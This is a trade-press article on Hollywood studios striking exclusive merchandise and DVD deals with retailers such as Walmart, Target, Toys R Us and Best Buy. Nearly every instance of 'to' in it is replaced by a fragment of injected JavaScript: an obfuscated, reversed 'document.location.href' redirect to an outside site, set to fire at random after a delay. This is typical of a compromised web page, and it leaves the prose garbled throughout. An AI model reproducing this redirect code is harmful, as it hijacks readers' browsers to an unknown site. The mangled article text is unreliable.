Why a POS campaign with big Hollywood Movies brings a high benefit

Source: www.variety.com

Hollywood’s shelf-help plan

Studios and retailers are partnering for product

Walmart designed themed areas tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to display DreamWorks Animation’s ‘How tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Train Your Dragon’ products.

Hollywood is super-sizing its time-honored tradition of striking exclusive deals with retailers as more stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tores, from brick-and-motar outlets tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to e-tailers, line up tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to partner with studios for product.

As much as Hollywood needs these promotional partnerships, retailers need the excitement of exclusive merchandise from blockbuster movies tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to drive more traffic intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to their stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tores as they slowly recover from the recession.

A fevered pitch of dealmaking has swept up e-tailers (Amazon.com, Overstobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tock.com, Groupon), traditional retailers (Target, Walmart, Toys R Us) and even brands not normally associated with tentpoles (Benjamin Moore paints) in the battle tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to nail down exclusive product pacts.

Deals typically cover DVDs and Blu-rays with new footage, CDs with extra music tracks, vidgames with new levels and character upgrades, unique-tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-the-stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toy designs, apparel and other merchandise offers, special trailers and digital downloads. In some cases, it also involves the construction of a separate boutique within a company’s stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tores.

Last week, Universal rolled out exclusive merchandise for its family film “Hop” at Walmart stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tores, with the retail giant agreeing tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to promote the pic throughout its 3,000 locations nationwide in return for being able tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to offer custobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomers the chance tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to design their own Easter baskets with “Hop”-themed candy and other products.

The deals are essentially an extension of the kinds of pacts marketers already have been making with Hollywood on summer tentpoles. Only in those cases, the brands were using the perks of a film tie-in tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to sell their own products: burgers, soda, cereal, cars.

In the new crop of deals, the incentives are being used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to sell Hollywood’s product.

Retail essentially got smart and said that if the same DVD for a movie, for example, is being sold everywhere and gets discounted by one stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to increase sales, others will follow, limiting the amount of profits they can earn from each disc.

As a result, stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tores started asking studios for some exclusive DVD extras. In return, the retailers would provide the products with more favorable shelf space and back it with promotions across all forms of media.

It’s hard for Hollywood tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to say no tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to that kind of exposure not only at a time when earnings from homevid and music continue tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to take a hit, but also when consumer products are becoming a major moneymaker for studios.

Warner Bros., for instance, will provide exclusive tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toys and action figures tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Toys R Us around the release of “Green Lantern.”

“That’s part of what we have tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}today,” said prexy of Warner Bros.consumer products Brad Globe last month in discussing plans around the pic. “Retail now really requires these (merchandise) events. You want tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get the consumers’ attention when they walk intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore.” There are no signs that this kind of dealmaking will end anytime soon.

In fact, executives at studios, particularly within consumer products divisions, stress that as long as these exclusive relationships continue tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pay off for retailers, demand will only increase.

At department stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tores with exclusive deals for star-designed clothing and accessories, business is booming. For example, JCPenney has said that 50% of its sales come from exclusive merchandise. At Macy’s the number increased from 40% tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 42% between 2009 and 2008. At Kohl’s it was at 48% last year, up from 44% in ’09.

Walmart and Target keep such sales figures closer tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the vest, but Target has successfully moved millions of albums for music acts — adding tracks tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to albums from artists like Lady Gaga, Ricky Martin, Keith Urban, Taylor Swift, Enrique Iglesias, the Black Eyed Peas, Prince and Pearl Jam, and offering songs for digital download — with Taylor Swift selling more than 1 million units of “Speak Now” last year.

Walmart, Target and Best Buy have been more aggressive than most in securing special versions of DVDs, Blu-rays, CDs and games. Those releases often include extras, like additional discs of footage or music, collectible character cards or tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toys, or include special packaging.

Even Groupon agreed tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to push discounted ticket sales for Lionsgate’s “The Lincoln Lawyer,” in return for a trailer and interview with star Matthew McConaughey.

But others have gotten more creative. Best Buy released a Minion translatobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor cellphone app last year around “Despicable Me” as part of its promotion of the Universal and Illumination Entertainment tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toon.

Cellphone makers and sellers are also using entertainment as a carrot tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to move more handsets, with Samsung having paired up with T-Mobile last year tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to pre-install Fox’s “Avatar” on the new Vibrant phone upon its release; this year, it’s offering “Inception” on its new Galaxy S 4G phone. Samsung made similar moves with Paramount pics, including the “Mission: Impossible” franchise.

Walmart was among the first tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to build an in-stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tore boutique for a film. Last year, the company designed themed areas for DreamWorks Animation’s “How tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Train Your Dragon” around large Viking ships inside more than 2,500 of its stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tores that offered up more than 100 exclusive products.

As part of the pact, Walmart spent tens of millions of dollars on media, with TV, in-theater, print and online ads promoting the film’s bow, and providing DreamWorks with some serious marketing muscle. One 30-second ad, for example, was shown on more than 13,000 screens in 4,600 theaters.

“Our partnership with DreamWorks Animation has changed the way retailers can work with the movie industry,” said Gary Severson, senior VP of entertainment of Walmart U.S. at the time.

By Marc Graser

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